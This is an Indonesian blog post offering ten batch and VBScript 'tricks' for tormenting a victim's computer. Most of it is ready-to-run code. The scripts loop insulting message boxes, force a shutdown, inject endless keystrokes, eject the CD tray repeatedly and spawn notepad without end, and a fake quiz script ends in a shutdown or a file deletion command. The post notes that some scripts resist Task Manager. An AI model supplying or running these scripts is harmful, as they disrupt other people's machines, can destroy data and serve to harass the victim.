Selasa, 22 Mei 2012

10 trik notepad yg bikin komputer korban stress

Trik : 1. Membuat message box yang selalu keluar :
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@ECHO off
:Begin
msg * muka lo butut
 msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

Simpan dengan format *.bat

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Yang ini hanya bisa di close mungkin dengan process hacker gan, sama task mngr nggak bisa …

2. Bikin komputer korban shutdown dan message box keluar
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msg * hayo mau kemana
shutdown -s -c “Error! muka mu bubut”
Simpan dengan format *.bat juga …
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3. Membuat Capslock terus menyala
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Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Simpan dengan format *.vbs, bisa di close sama Task Manager atau PH
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4. Membuka dan menutup CD/DVD komputer korban
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Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan format *.vbs juga ya gan!
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5. Membuat vbscript terus muncul
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Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Simpan dengan format *.vbs, mungkin sama taskmngr bisa di close …
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6. Terus – menerus menekan tombol “backspace”
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MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Simpan dengan format *.vbs, pasti yang berformat *vbs bisa di kill sama taskmngr
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7. Otomatis menulis “Lu jelek banget sih” di notepad atau di word
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Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “muke lu engga beda jauh sama sepiteng baperkam!!!”
loop
Simpan dengan format *.vbs, sendkeysnya bisa di ganti …
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8. Terus – menerus membuka notepad
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@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan format *.bat, bisa juga di ganti apa yang mau di bukanya, asalkan tau di mana disimpennya …
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9. Sama dengan trik nomor tujuh, tapi berbeda khas
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WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “mu “
WScript.Sleep 50
WshShell.SendKeys “je”
WScript.Sleep 50
WshShell.SendKeys “le”
WScript.Sleep 50
WshShell.SendKeys “k “
WScript.Sleep 50
WshShell.SendKeys ” se”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “li”
WScript.Sleep 50
WshShell.SendKeys ” y”
WScript.Sleep 50
WshShell.SendKeys “a”
WScript.Sleep 50
WshShell.SendKeys ” h”
WScript.Sleep 50
WshShell.SendKeys “!”
WScript.Sleep 50
WshShell.SendKeys “!! “
Ganti sendkeysnya, dan simpan dengan format *.vbs …
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10. Membuat kuis
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@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan format *.bat …
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